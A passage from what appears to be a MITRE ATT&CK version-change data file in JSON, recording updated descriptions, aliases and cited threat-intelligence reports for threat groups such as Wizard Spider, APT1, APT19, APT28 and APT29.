October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/" }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" }, { "source_name": "FireEye Ryuk and Trickbot January 2019", "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" }, { "source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Edward Millington", "Oleksiy Gayda" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 17:27:41.194000+00:00\", \"old_value\": \"2020-12-29 17:45:44.841000+00:00\"}, \"root['description']\": {\"new_value\": \"[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)\", \"old_value\": \"[Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"CrowdStrike Wizard Spider October 2020\", \"old_value\": \"FireEye KEGTAP SINGLEMALT October 2020\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.\", \"old_value\": \"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"FireEye KEGTAP SINGLEMALT October 2020\", \"old_value\": \"FireEye Ryuk and Trickbot January 2019\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.\", \"old_value\": \"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"FireEye Ryuk and Trickbot January 2019\", \"old_value\": \"CrowdStrike Grim Spider May 2019\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.\", \"old_value\": \"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html\", \"old_value\": \"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][9]\": {\"source_name\": \"CrowdStrike Grim Spider May 2019\", \"description\": \"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.\", \"url\": \"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/\"}, \"root['x_mitre_contributors'][0]\": \"Edward Millington\"}}", "previous_version": "1.3", "version_change": "1.3 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Wizard Spider](https://attack.mitre.org/groups/G0102) is a t1[Wizard Spider](https://attack.mitre.org/groups/G0102) is a 
>financially motivated criminal group that has been conductin>Russia-based financially motivated threat group originally k
>g ransomware campaigns since at least August 2018 against a >nown for the creation and deployment of [TrickBot](https://a
>variety of organizations, ranging from major corporations to>ttack.mitre.org/software/S0266) since at least 2016. [Wizard
> hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citatio> Spider](https://attack.mitre.org/groups/G0102) possesses a 
>n: DHS/CISA Ransomware Targeting Healthcare October 2020)>diverse arsenal of tools and has conducted ransomware campai
 >gns against a variety of organizations, ranging from major c
 >orporations to hospitals.(Citation: CrowdStrike Ryuk January
 > 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare Oc
 >tober 2020)(Citation: CrowdStrike Wizard Spider October 2020
 >)
" } ], "minor_version_changes": [ { "type": "intrusion-set", "id": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-05 18:53:08.166000+00:00", "modified": "2021-05-26 20:17:53.085000+00:00", "name": "APT-C-36", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)", "aliases": [ "APT-C-36", "Blind Eagle" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0099", "external_id": "G0099" }, { "source_name": "Blind Eagle", "description": "(Citation: QiAnXin APT-C-36 Feb2019)" }, { "source_name": "QiAnXin APT-C-36 Feb2019", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020.", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jose Luis S\u00e1nchez Martinez" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-05-26 20:17:53.085000+00:00\", \"old_value\": \"2020-10-14 14:40:36.467000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "intrusion-set", "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:47.955000+00:00", "modified": "2021-05-26 12:23:48.842000+00:00", "name": "APT1", "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", "aliases": [ "APT1", "Comment Crew", "Comment Group", "Comment Panda" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0006", "external_id": "G0006" }, { "source_name": "APT1", "description": "(Citation: Mandiant APT1)" }, { "source_name": "Comment Crew", "description": "(Citation: Mandiant APT1)" }, { "source_name": "Comment Group", "description": "(Citation: Mandiant APT1)" }, { "source_name": "Comment Panda", "description": "(Citation: CrowdStrike Putter Panda)" }, { "source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" }, { "source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-05-26 12:23:48.842000+00:00\", \"old_value\": \"2020-10-22 18:35:55.290000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4" }, { "type": "intrusion-set", "id": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-05-26 12:38:01.003000+00:00", "name": "APT19", "description": "[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)", "aliases": [ "APT19", "Codoso", "C0d0so0", "Codoso Team", "Sunshop Group" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0073", "external_id": "G0073" }, { "source_name": "APT19", "description": "(Citation: FireEye APT19)" }, { "source_name": "Codoso", "description": "(Citation: Unit 42 C0d0so0 Jan 2016)" }, { "source_name": "C0d0so0", "description": "(Citation: Unit 42 C0d0so0 Jan 2016)" }, { "source_name": "Codoso Team", "description": "(Citation: FireEye APT Groups)" }, { "source_name": "Sunshop Group", "description": "(Citation: Dark Reading Codoso Feb 2015)" }, { "source_name": "FireEye APT19", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" }, { "source_name": "ICIT China's Espionage Jul 2016", "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" }, { "source_name": "FireEye APT Groups", "description": "FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.", "url": "https://www.fireeye.com/current-threats/apt-groups.html#apt19" }, { "source_name": "Unit 42 C0d0so0 Jan 2016", "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" }, { "source_name": "Dark Reading Codoso Feb 2015", "description": "Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. 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Retrieved August 3, 2016.\"}, \"root['external_references'][18]['url']\": {\"new_value\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf\", \"old_value\": \"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign\"}, \"root['external_references'][19]['source_name']\": {\"new_value\": \"SecureWorks TG-4127\", \"old_value\": \"FireEye APT28 January 2017\"}, \"root['external_references'][19]['description']\": {\"new_value\": \"SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.\", \"old_value\": \"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.\"}, \"root['external_references'][19]['url']\": {\"new_value\": \"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign\", \"old_value\": \"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf\"}, \"root['external_references'][20]['source_name']\": {\"new_value\": \"FireEye APT28 January 2017\", \"old_value\": \"GRIZZLY STEPPE JAR\"}, \"root['external_references'][20]['description']\": {\"new_value\": \"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.\", \"old_value\": \"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \\u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.\"}, \"root['external_references'][20]['url']\": {\"new_value\": \"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf\", \"old_value\": \"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf\"}, \"root['external_references'][21]['source_name']\": {\"new_value\": \"GRIZZLY STEPPE JAR\", \"old_value\": \"Sofacy DealersChoice\"}, \"root['external_references'][21]['description']\": {\"new_value\": \"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \\u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.\", \"old_value\": \"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. 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Retrieved June 18, 2018.\"}, \"root['external_references'][22]['url']\": {\"new_value\": \"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/\", \"old_value\": \"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/\"}, \"root['external_references'][23]['source_name']\": {\"new_value\": \"Palo Alto Sofacy 06-2018\", \"old_value\": \"Symantec APT28 Oct 2018\"}, \"root['external_references'][23]['description']\": {\"new_value\": \"Lee, B., Falcone, R. (2018, June 06). Sofacy Group\\u2019s Parallel Attacks. Retrieved June 18, 2018.\", \"old_value\": \"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. 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Retrieved October 1, 2020.\"}, \"root['external_references'][25]['url']\": {\"new_value\": \"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/\", \"old_value\": \"https://www.justice.gov/opa/page/file/1098481/download\"}, \"root['external_references'][26]['source_name']\": {\"new_value\": \"US District Court Indictment GRU Oct 2018\", \"old_value\": \"Kaspersky Sofacy\"}, \"root['external_references'][26]['description']\": {\"new_value\": \"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.\", \"old_value\": \"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.\"}, \"root['external_references'][26]['url']\": {\"new_value\": \"https://www.justice.gov/opa/page/file/1098481/download\", \"old_value\": \"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/\"}, \"root['external_references'][27]['source_name']\": {\"new_value\": \"Kaspersky Sofacy\", \"old_value\": \"ESET Sednit Part 3\"}, \"root['external_references'][27]['description']\": {\"new_value\": \"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.\", \"old_value\": \"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.\"}, \"root['external_references'][27]['url']\": {\"new_value\": \"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/\", \"old_value\": \"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf\"}, \"root['external_references'][28]['source_name']\": {\"new_value\": \"ESET Sednit Part 3\", \"old_value\": \"Talos Seduploader Oct 2017\"}, \"root['external_references'][28]['description']\": {\"new_value\": \"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.\", \"old_value\": \"Mercer, W., et al. (2017, October 22). \\\"Cyber Conflict\\\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.\"}, \"root['external_references'][28]['url']\": {\"new_value\": \"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf\", \"old_value\": \"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html\"}, \"root['external_references'][29]['source_name']\": {\"new_value\": \"Talos Seduploader Oct 2017\", \"old_value\": \"Securelist Sofacy Feb 2018\"}, \"root['external_references'][29]['description']\": {\"new_value\": \"Mercer, W., et al. (2017, October 22). \\\"Cyber Conflict\\\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.\", \"old_value\": \"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. 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Old Description
New Description
t1[APT28](https://attack.mitre.org/groups/G0007) is a threat gt1[APT28](https://attack.mitre.org/groups/G0007) is a threat g
>roup that has been attributed to Russia's General Staff Main>roup that has been attributed to Russia's General Staff Main
> Intelligence Directorate (GRU) 85th Main Special Service Ce> Intelligence Directorate (GRU) 85th Main Special Service Ce
>nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub>nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub
> August 2020) This group has been active since at least 2004> August 2020)(Citation: Cybersecurity Advisory GRU Brute For
>.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech>ce Campaign July 2021) This group has been active since at l
>nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun>east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: 
>e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG->Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike 
>4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ>DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork
>ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: >s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G
>Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018>RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation:
>) (Citation: ESET Zebrocy May 2019)  [APT28](https://attack.> Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018
>mitre.org/groups/G0007) reportedly compromised the Hillary C>)(Citation: ESET Zebrocy May 2019)  [APT28](https://attack.m
>linton campaign, the Democratic National Committee, and the >itre.org/groups/G0007) reportedly compromised the Hillary Cl
>Democratic Congressional Campaign Committee in 2016 in an at>inton campaign, the Democratic National Committee, and the D
>tempt to interfere with the U.S. presidential election. (Cit>emocratic Congressional Campaign Committee in 2016 in an att
>ation: Crowdstrike DNC June 2016) In 2018, the US indicted f>empt to interfere with the U.S. presidential election. (Cita
>ive GRU Unit 26165 officers associated with [APT28](https://>tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi
>attack.mitre.org/groups/G0007) for cyber operations (includi>ve GRU Unit 26165 officers associated with [APT28](https://a
>ng close-access operations) conducted between 2014 and 2018 >ttack.mitre.org/groups/G0007) for cyber operations (includin
>against the World Anti-Doping Agency (WADA), the US Anti-Dop>g close-access operations) conducted between 2014 and 2018 a
>ing Agency, a US nuclear facility, the Organization for the >gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi
>Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem>ng Agency, a US nuclear facility, the Organization for the P
>icals Laboratory, and other organizations.(Citation: US Dist>rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi
>rict Court Indictment GRU Oct 2018) Some of these were condu>cals Laboratory, and other organizations.(Citation: US Distr
>cted with the assistance of GRU Unit 74455, which is also re>ict Court Indictment GRU Oct 2018) Some of these were conduc
>ferred to as [Sandworm Team](https://attack.mitre.org/groups>ted with the assistance of GRU Unit 74455, which is also ref
>/G0034). >erred to as [Sandworm Team](https://attack.mitre.org/groups/
 >G0034). 
" }, { "type": "intrusion-set", "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:52.748000+00:00", "modified": "2021-10-16 00:59:58.792000+00:00", "name": "APT29", "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)", "aliases": [ "APT29", "NobleBaron", "Dark Halo", "StellarParticle", "NOBELIUM", "UNC2452", "YTTRIUM", "The Dukes", "Cozy Bear", "CozyDuke" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0016", "external_id": "G0016" }, { "source_name": "APT29", "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)" }, { "source_name": "NobleBaron", "description": "(Citation: SentinelOne NobleBaron June 2021)" }, { "source_name": "Dark Halo", "description": "(Citation: Volexity SolarWinds)" }, { "source_name": "StellarParticle", "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)" }, { "source_name": "NOBELIUM", "description": "(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)" }, { "source_name": "UNC2452", "description": "(Citation: FireEye SUNBURST Backdoor December 2020)" }, { "source_name": "YTTRIUM", "description": "(Citation: Microsoft Unidentified Dec 2018)" }, { "source_name": "The Dukes", "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)" }, { "source_name": "Cozy Bear", "description": "(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)" }, { "source_name": "CozyDuke", "description": "(Citation: Crowdstrike DNC June 2016)" }, { "source_name": "White House Imposing Costs RU Gov April 2021", "description": "White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.", "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/" }, { "source_name": "UK Gov Malign RIS Activity April 2021", "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.", "url": "https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services" }, { "source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" }, { "source_name": "GRIZZLY STEPPE JAR", "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" }, { "source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" }, { "source_name": "UK Gov UK Exposes Russia SolarWinds April 2021", "description": "UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.", "url": "https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise" }, { "source_name": "NSA Joint Advisory SVR SolarWinds April 2021", "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.", "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF" }, { "source_name": "UK NSCS Russia SolarWinds April 2021", "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.", "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise" }, { "source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html" }, { "source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" }, { "source_name": "CrowdStrike SUNSPOT Implant January 2021", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/" }, { "source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" }, { "source_name": "Cybersecurity Advisory SVR TTP May 2021", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf" }, { "source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" }, { "source_name": "ESET Dukes October 2019", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. 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Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" }, { "source_name": "MSTIC Nobelium Toolset May 2021", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/" }, { "source_name": "MSRC Nobelium June 2021", "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.", "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/" }, { "source_name": "Microsoft Unidentified Dec 2018", "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified 